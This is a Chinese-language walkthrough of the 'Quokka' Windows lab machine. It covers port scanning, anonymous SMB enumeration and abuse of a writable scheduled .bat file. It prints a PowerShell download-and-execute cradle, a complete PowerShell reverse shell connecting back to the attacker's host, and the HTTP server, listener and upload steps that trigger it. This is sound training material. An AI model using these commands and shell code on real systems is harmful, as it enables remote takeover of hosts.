Quokka

作为 Windows 靶机的初次尝试者，我对 Windows 系统的整体架构和特有工具有些生疏。这次通过对定时任务（.bat）的利用以及反弹 Shell 的调试，算是迈出了熟悉 Windows 渗透的第一步。

image

信息搜集

1
2
3
4
5
6
7
8
9
┌──(root㉿Eecho)-[~]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.43.6
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
......
192.168.43.7    08:00:27:1f:e9:a5       PCS Systemtechnik GmbH
......
3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.901 seconds (134.67 hosts/sec). 3 responded

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
┌──(root㉿Eecho)-[~]
└─# rustscan -a 192.168.43.7 -- -A
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
RustScan: allowing you to send UDP packets into the void 1200x faster than NMAP

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'.
Open 192.168.43.7:80
Open 192.168.43.7:135
Open 192.168.43.7:139
Open 192.168.43.7:445
Open 192.168.43.7:5985
Open 192.168.43.7:47001
Open 192.168.43.7:49664
Open 192.168.43.7:49665
Open 192.168.43.7:49667
Open 192.168.43.7:49670
Open 192.168.43.7:49669
Open 192.168.43.7:49668
Open 192.168.43.7:49682
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 192.168.43.7
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-07 19:28 +0800
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 19:28
Completed NSE at 19:28, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 19:28
Completed NSE at 19:28, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 19:28
Completed NSE at 19:28, 0.00s elapsed
Initiating ARP Ping Scan at 19:28
Scanning 192.168.43.7 [1 port]
Completed ARP Ping Scan at 19:28, 0.03s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 19:28
Completed Parallel DNS resolution of 1 host. at 19:28, 0.50s elapsed
DNS resolution of 1 IPs took 0.50s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 19:28
Scanning 192.168.43.7 [13 ports]
Discovered open port 445/tcp on 192.168.43.7
Discovered open port 135/tcp on 192.168.43.7
Discovered open port 49668/tcp on 192.168.43.7
Discovered open port 49669/tcp on 192.168.43.7
Discovered open port 139/tcp on 192.168.43.7
Discovered open port 80/tcp on 192.168.43.7
Discovered open port 47001/tcp on 192.168.43.7
Discovered open port 49682/tcp on 192.168.43.7
Discovered open port 49665/tcp on 192.168.43.7
Discovered open port 49667/tcp on 192.168.43.7
Discovered open port 5985/tcp on 192.168.43.7
Discovered open port 49664/tcp on 192.168.43.7
Discovered open port 49670/tcp on 192.168.43.7
Completed SYN Stealth Scan at 19:28, 0.02s elapsed (13 total ports)
Initiating Service scan at 19:28
Scanning 13 services on 192.168.43.7
Service scan Timing: About 53.85% done; ETC: 19:29 (0:00:45 remaining)
Completed Service scan at 19:28, 53.58s elapsed (13 services on 1 host)
Initiating OS detection (try #1) against 192.168.43.7
NSE: Script scanning 192.168.43.7.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 19:28
Completed NSE at 19:29, 5.39s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 19:29
Completed NSE at 19:29, 0.01s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 19:29
Completed NSE at 19:29, 0.00s elapsed
Nmap scan report for 192.168.43.7
Host is up, received arp-response (0.00063s latency).
Scanned at 2026-07-07 19:28:01 CST for 60s

PORT      STATE SERVICE      REASON          VERSION
80/tcp    open  http         syn-ack ttl 128 Microsoft IIS httpd 10.0
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Portfolio y Noticias Tech de Quokka
135/tcp   open  msrpc        syn-ack ttl 128 Microsoft Windows RPC
139/tcp   open  netbios-ssn  syn-ack ttl 128 Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds syn-ack ttl 128 Windows Server 2016 Datacenter 14393 microsoft-ds
5985/tcp  open  http         syn-ack ttl 128 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
47001/tcp open  http         syn-ack ttl 128 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc        syn-ack ttl 128 Microsoft Windows RPC
49665/tcp open  msrpc        syn-ack ttl 128 Microsoft Windows RPC
49667/tcp open  msrpc        syn-ack ttl 128 Microsoft Windows RPC
49668/tcp open  msrpc        syn-ack ttl 128 Microsoft Windows RPC
49669/tcp open  msrpc        syn-ack ttl 128 Microsoft Windows RPC
49670/tcp open  msrpc        syn-ack ttl 128 Microsoft Windows RPC
49682/tcp open  msrpc        syn-ack ttl 128 Microsoft Windows RPC
MAC Address: 08:00:27:1F:E9:A5 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows 2016|2019
OS CPE: cpe:/o:microsoft:windows_server_2016 cpe:/o:microsoft:windows_server_2019
OS details: Microsoft Windows Server 2016 or Server 2019
TCP/IP fingerprint:
OS:SCAN(V=7.99%E=4%D=7/7%OT=80%CT=%CU=41339%PV=Y%DS=1%DC=D%G=N%M=080027%TM=
OS:6A4CE2FD%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10F%TI=I%CI=I%II=I%S
OS:S=S%TS=A)OPS(O1=M5B4NW8ST11%O2=M5B4NW8ST11%O3=M5B4NW8NNT11%O4=M5B4NW8ST1
OS:1%O5=M5B4NW8ST11%O6=M5B4ST11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000
OS:%W6=2000)ECN(R=Y%DF=Y%T=80%W=2000%O=M5B4NW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%
OS:S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=
OS:Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R
OS:%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=
OS:80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0
OS:%Q=)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R
OS:=Y%DFI=N%T=80%CD=Z)

Uptime guess: 0.002 days (since Tue Jul  7 19:25:35 2026)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-os-discovery:
|   OS: Windows Server 2016 Datacenter 14393 (Windows Server 2016 Datacenter 6.3)
|   Computer name: WIN-VRU3GG3DPLJ
|   NetBIOS computer name: WIN-VRU3GG3DPLJ\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2026-07-07T13:28:55+02:00
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 50160/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 44564/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 39501/udp): CLEAN (Timeout)
|   Check 4 (port 44682/udp): CLEAN (Failed to receive data)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-time:
|   date: 2026-07-07T11:28:56
|_  start_date: 2026-07-07T11:25:43
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: -40m00s, deviation: 1h09m16s, median: 0s
| nbstat: NetBIOS name: WIN-VRU3GG3DPLJ, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:1f:e9:a5 (Oracle VirtualBox virtual NIC)
| Names:
|   WORKGROUP<00>        Flags: <group><active>
|   WIN-VRU3GG3DPLJ<00>  Flags: <unique><active>
|   WIN-VRU3GG3DPLJ<20>  Flags: <unique><active>
| Statistics:
|   08 00 27 1f e9 a5 00 00 00 00 00 00 00 00 00 00 00
|   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|_  00 00 00 00 00 00 00 00 00 00 00 00 00 00

TRACEROUTE
HOP RTT     ADDRESS
1   0.63 ms 192.168.43.7

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 19:29
Completed NSE at 19:29, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 19:29
Completed NSE at 19:29, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 19:29
Completed NSE at 19:29, 0.00s elapsed
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 60.79 seconds
           Raw packets sent: 30 (2.018KB) | Rcvd: 33 (2.050KB)

  • 80 http
  • 135 MSRPC
  • 139 NetBIOS
  • 445 SMB
  • 5945 WinRM
  • 47001 WinRM 备用端口
  • 49664-49682 RPC

‍

枚举

SMB

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root㉿Eecho)-[~]
└─# smbclient -L //192.168.43.7 -N


        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Admin remota
        C$              Disk      Recurso predeterminado
        Compartido      Disk
        IPC$            IPC       IPC remota
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 192.168.43.7 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

有个Compartido共享目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
┌──(root㉿Eecho)-[/tmp/aaaa]
└─# smbclient //192.168.43.7/Compartido -N
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Tue Jul  7 19:44:25 2026
  ..                                  D        0  Tue Jul  7 19:44:25 2026
  Documentación                      D        0  Sun Oct 27 22:33:53 2024
  Logs                                D        0  Sun Oct 27 22:33:54 2024
  Proyectos                           D        0  Sun Oct 27 22:33:54 2024

                7735807 blocks of size 4096. 4725090 blocks available
smb: \> ls Documentación\
  .                                   D        0  Sun Oct 27 22:33:53 2024
  ..                                  D        0  Sun Oct 27 22:33:53 2024
  Archivos_Antiguos                   D        0  Sun Oct 27 22:33:53 2024
  Configuraciones                     D        0  Sun Oct 27 22:33:53 2024
  Diagrama_Flujo.pptx                 A        0  Sun Oct 27 22:33:53 2024
  Informe_Proyecto.pdf                A        0  Sun Oct 27 22:33:53 2024
  Procedimientos                      D        0  Sun Oct 27 22:33:53 2024

                7735807 blocks of size 4096. 4725090 blocks available
smb: \> ls Documentación\Archivos_Antiguos\
  .                                   D        0  Sun Oct 27 22:33:53 2024
  ..                                  D        0  Sun Oct 27 22:33:53 2024
  Antiguo_Informe.docx                A        0  Sun Oct 27 22:33:53 2024
  Cambios_2022.txt                    A       75  Sun Oct 27 22:33:53 2024
  README.txt                          A       73  Sun Oct 27 22:33:53 2024

                7735807 blocks of size 4096. 4725090 blocks available
smb: \> ls Documentación\Archivos_Antiguos\Cambios_2022.txt
  Cambios_2022.txt                    A       75  Sun Oct 27 22:33:53 2024

                7735807 blocks of size 4096. 4725090 blocks available
smb: \> ls Logs\
  .                                   D        0  Sun Oct 27 22:33:54 2024
  ..                                  D        0  Sun Oct 27 22:33:54 2024
  Accesos                             D        0  Sun Oct 27 22:33:54 2024
  Backups                             D        0  Sun Oct 27 22:33:54 2024
  Fallos_Sistema                      D        0  Sun Oct 27 22:33:54 2024

                7735807 blocks of size 4096. 4725090 blocks available
smb: \> ls Logs\Accesos\
  .                                   D        0  Sun Oct 27 22:33:54 2024
  ..                                  D        0  Sun Oct 27 22:33:54 2024
  Acceso_2022.txt                     A       74  Sun Oct 27 22:33:54 2024
  Acceso_2023.txt                     A       67  Sun Oct 27 22:33:54 2024

                7735807 blocks of size 4096. 4725090 blocks available
smb: \> ls Logs\Backups\
  .                                   D        0  Sun Oct 27 22:33:54 2024
  ..                                  D        0  Sun Oct 27 22:33:54 2024
  Backup_01_2023.log                  A       51  Sun Oct 27 22:33:54 2024
  Backup_02_2023.log                  A       51  Sun Oct 27 22:33:54 2024
  Backup_03_2023.log                  A       51  Sun Oct 27 22:33:54 2024

                7735807 blocks of size 4096. 4725090 blocks available
smb: \> ls Logs\Fallos_Sistema\
  .                                   D        0  Sun Oct 27 22:33:54 2024
  ..                                  D        0  Sun Oct 27 22:33:54 2024
  Error_01.log                        A       61  Sun Oct 27 22:33:54 2024
  Error_02.log                        A       73  Sun Oct 27 22:33:54 2024

                7735807 blocks of size 4096. 4725090 blocks available
smb: \> ls Proyectos
  Proyectos                           D        0  Sun Oct 27 22:33:54 2024

                7735807 blocks of size 4096. 4725090 blocks available
smb: \> ls Proyectos
  Proyectos                           D        0  Sun Oct 27 22:33:54 2024

                7735807 blocks of size 4096. 4725090 blocks available
smb: \> ls Proyectos\
  .                                   D        0  Sun Oct 27 22:33:54 2024
  ..                                  D        0  Sun Oct 27 22:33:54 2024
  Proyecto_Antiguo                    D        0  Sun Oct 27 22:33:54 2024
  Proyecto_X                          D        0  Sun Oct 27 22:33:54 2024
  Quokka                              D        0  Sun Oct 27 22:33:54 2024

                7735807 blocks of size 4096. 4725090 blocks available
smb: \> ls Proyectos\Proyecto_
NT_STATUS_NO_SUCH_FILE listing \Proyectos\Proyecto_
smb: \> ls Proyectos\Proyecto_Antiguo\
  .                                   D        0  Sun Oct 27 22:33:54 2024
  ..                                  D        0  Sun Oct 27 22:33:54 2024
  Informe_Final_2020.pdf              A        0  Sun Oct 27 22:33:54 2024
  Plan_Migración.docx                A        0  Sun Oct 27 22:33:54 2024
  Resultados.xlsx                     A        0  Sun Oct 27 22:33:54 2024

                7735807 blocks of size 4096. 4725090 blocks available
smb: \> ls Proyectos\Proyecto_X\
  .                                   D        0  Sun Oct 27 22:33:54 2024
  ..                                  D        0  Sun Oct 27 22:33:54 2024
  Código                             D        0  Sun Oct 27 22:33:54 2024
  Esquema_Funcionalidad.pptx          A       63  Sun Oct 27 22:33:54 2024
  README.txt                          A       57  Sun Oct 27 22:33:54 2024

                7735807 blocks of size 4096. 4725090 blocks available
smb: \> ls Proyectos\Quokka\
  .                                   D        0  Sun Oct 27 22:33:54 2024
  ..                                  D        0  Sun Oct 27 22:33:54 2024
  Código                             D        0  Sun Oct 27 22:58:54 2024
  Diseño                             D        0  Sun Oct 27 22:33:54 2024
  Documentación_Interna.docx         A       71  Sun Oct 27 22:33:54 2024
  Manual_Quokka.pdf                   A        0  Sun Oct 27 22:33:54 2024

                7735807 blocks of size 4096. 4725090 blocks available
smb: \> ls Proyectos\Quokka\Código\
  .                                   D        0  Sun Oct 27 22:58:54 2024
  ..                                  D        0  Sun Oct 27 22:58:54 2024
  index.html                          A       52  Sun Oct 27 22:33:54 2024
  mantenimiento - copia.bat           A     1252  Sun Oct 27 22:41:43 2024
  mantenimiento.bat                   A      343  Sun Oct 27 22:58:54 2024
  README.md                           A       56  Sun Oct 27 22:33:54 2024

                7735807 blocks of size 4096. 4725090 blocks available
smb: \> ls Proyectos\Quokka\D
Proyectos\Quokka\Diseño\                     Proyectos\Quokka\Documentación_Interna.docx
smb: \> ls Proyectos\Quokka\Diseño\
  .                                   D        0  Sun Oct 27 22:33:54 2024
  ..                                  D        0  Sun Oct 27 22:33:54 2024
  Assets                              D        0  Sun Oct 27 22:33:53 2024
  Quokka_Logo.psd                     A        0  Sun Oct 27 22:33:54 2024
  Wireframe_Quokka.jpg                A        0  Sun Oct 27 22:33:54 2024

                7735807 blocks of size 4096. 4725090 blocks available

有两个.bat文件，在windows中.bat相当于Linux中的.sh

所以优先查看这两个文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
smb: \> cd Proyectos\Quokka\
smb: \Proyectos\Quokka\> cd Código\
smb: \Proyectos\Quokka\Código\> ls
  .                                   D        0  Sun Oct 27 22:58:54 2024
  ..                                  D        0  Sun Oct 27 22:58:54 2024
  index.html                          A       52  Sun Oct 27 22:33:54 2024
  mantenimiento - copia.bat           A     1252  Sun Oct 27 22:41:43 2024
  mantenimiento.bat                   A      343  Sun Oct 27 22:58:54 2024
  README.md                           A       56  Sun Oct 27 22:33:54 2024

                7735807 blocks of size 4096. 4725090 blocks available
smb: \Proyectos\Quokka\Código\> get mantenimiento.bat
getting file \Proyectos\Quokka\Código\mantenimiento.bat of size 343 as mantenimiento.bat (111.7 KiloBytes/sec) (average 111.7 KiloBytes/sec)
smb: \Proyectos\Quokka\Código\> get "mantenimiento - copia.bat"
getting file \Proyectos\Quokka\Código\mantenimiento - copia.bat of size 1252 as mantenimiento - copia.bat (305.7 KiloBytes/sec) (average 222.5 KiloBytes/sec)

查看一下这两个文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
┌──(root㉿Eecho)-[/tmp/aaaa]
└─# cat mantenimiento.bat
@echo off
:: Mantenimiento del sistema de copias de seguridad
:: Este script es ejecutado cada minuto

REM Pista: Tal vez haya algo m�s aqu�...

:: Reverse shell a Kali
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "iex(New-Object Net.WebClient).DownloadString('http://192.168.1.36:8000/shell.ps1')"

:: Fin del script
exit
┌──(root㉿Eecho)-[/tmp/aaaa]
└─# cat 'mantenimiento - copia.bat'
@echo off
:: ------------------------------------------------------------------
:: Mantenimiento del sistema de copias de seguridad
:: Este script es ejecutado cada minuto para mover los archivos de logs
:: Nota: Asegúrate de no modificar este script sin permisos de administrador
:: ------------------------------------------------------------------

:: Pista: Este script se ejecuta con permisos elevados. Seguro que no hay nada más?

REM Mover los archivos de logs a la carpeta de respaldo
echo Moviendo archivos de logs...
move "C:\Logs\*.log" "C:\Backup\OldLogs\"

:: Pista oculta: Si tienes acceso a este script, podrás manipular su comportamiento.
:: Asegúrate de revisar las líneas de comando en detalle. Tal vez haya una forma de aprovechar esta ejecución

REM Verificar el estado del sistema
echo Verificando el estado del sistema...
systeminfo > nul

REM Comprobando si los archivos temporales necesitan limpieza
echo Limpiando archivos temporales...
del /q "C:\Temp\*.*"

REM Pista: Todo parece estar bajo control, pero realmente lo está?
REM Este script se ejecuta con permisos de administrador cada minuto. Tal vez haya algo útil aquí.

:: Fin del script
echo Operación completada.
exit

mantenimiento.bat这个脚本里插入了一行 PowerShell 反弹 Shell（Reverse Shell）命令。且每分钟会执行

1
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "iex(New-Object Net.WebClient).DownloadString('http://192.168.1.36:8000/shell.ps1')"
  • 参数解析​：-NoP​ (不加载配置文件), -NonI​ (非交互模式), -W Hidden​ (隐藏窗口), -Exec Bypass (绕过脚本执行策略)。
  • 行为​：它会尝试从攻击机（IP 为 192.168.1.36​，端口 8000​）下载一个名为 shell.ps1​ 的脚本，并直接在内存中执行（iex）。

所以这里我们可以修改ip为自己的ip下载一个反弹shell脚本来获取shell

创建一个反弹shell文件,这里使用的是这个https://github.com/MartinSohn/PowerShell-reverse-shell/blob/main/powershell-reverse-shell.ps1
需要修改ip和端口号为自己反弹shell机器的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
──(root㉿Eecho)-[/tmp/aaaa]
└─# cat shell.ps1
do {
    # Delay before establishing network connection, and between retries
    Start-Sleep -Seconds 1

    # Connect to C2
    try{
        $TCPClient = New-Object Net.Sockets.TCPClient('192.168.43.6', 8888)
    } catch {}
} until ($TCPClient.Connected)

$NetworkStream = $TCPClient.GetStream()
$StreamWriter = New-Object IO.StreamWriter($NetworkStream)

# Writes a string to C2
function WriteToStream ($String) {
    # Create buffer to be used for next network stream read. Size is determined by the TCP client recieve buffer (65536 by default)
    [byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0}

    # Write to C2
    $StreamWriter.Write($String + 'SHELL> ')
    $StreamWriter.Flush()
}

# Initial output to C2. The function also creates the inital empty byte array buffer used below.
WriteToStream ''

# Loop that breaks if NetworkStream.Read throws an exception - will happen if connection is closed.
while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {
    # Encode command, remove last byte/newline
    $Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1)

    # Execute command and save output (including errors thrown)
    $Output = try {
            Invoke-Expression $Command 2>&1 | Out-String
        } catch {
            $_ | Out-String
        }

    # Write output to C2
    WriteToStream ($Output)
}
# Closes the StreamWriter and the underlying TCPClient
$StreamWriter.Close()

使用python起一个web服务

1
2
3
┌──(root㉿Eecho)-[/tmp/aaaa]
└─# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

修改mantenimiento.bat里面的ip为自己反弹shell文件机器的ip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root㉿Eecho)-[/tmp/aaaa]
└─# vim mantenimiento.bat
┌──(root㉿Eecho)-[/tmp/aaaa]
└─# cat mantenimiento.bat
@echo off
:: Mantenimiento del sistema de copias de seguridad
:: Este script es ejecutado cada minuto

REM Pista: Tal vez haya algo m�s aqu�...

:: Reverse shell a Kali
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "iex(New-Object Net.WebClient).DownloadString('http://192.168.43.6:8000/shell.ps1')"

:: Fin del script
exit

在起一个监听反弹shell服务，这里我使用的是penelope.py当然也可以使用nc

1
2
3
4
5
┌──(root㉿Eecho)-[/opt/tools]
└─# nc -lvp 8888
listening on [any] 8888 ...
192.168.43.7: inverse host lookup failed: Unknown host
connect to [192.168.43.6] from (UNKNOWN) [192.168.43.7] 49815

上传mantenimiento.bat等待下载反弹shell文件触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(root㉿Eecho)-[/tmp/aaaa]
└─# smbclient //192.168.43.7/Compartido -N
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Tue Jul  7 19:44:25 2026
  ..                                  D        0  Tue Jul  7 19:44:25 2026
  Documentación                      D        0  Sun Oct 27 22:33:53 2024
  Logs                                D        0  Sun Oct 27 22:33:54 2024
  Proyectos                           D        0  Sun Oct 27 22:33:54 2024

                7735807 blocks of size 4096. 4725057 blocks available
smb: \> cd Proyectos\Quokka\Código\
smb: \Proyectos\Quokka\Código\> ls
  .                                   D        0  Sun Oct 27 22:58:54 2024
  ..                                  D        0  Sun Oct 27 22:58:54 2024
  index.html                          A       52  Sun Oct 27 22:33:54 2024
  mantenimiento - copia.bat           A     1252  Sun Oct 27 22:41:43 2024
  mantenimiento.bat                   A      343  Sun Oct 27 22:58:54 2024
  README.md                           A       56  Sun Oct 27 22:33:54 2024

                7735807 blocks of size 4096. 4725057 blocks available
smb: \Proyectos\Quokka\Código\> put mantenimiento.bat
putting file mantenimiento.bat as \Proyectos\Quokka\Código\mantenimiento.bat (33.5 kB/s) (average 33.5 kB/s)
smb: \Proyectos\Quokka\Código\>

image

可以看到成功触发

1
2
3
4
5
6
PS C:\Windows\system32> type C:\Users\0mar\Desktop\user.txt

9OWi***************

PS C:\Windows\system32> type C:\Users\Administrador\Desktop\admin.txt
j9eC********************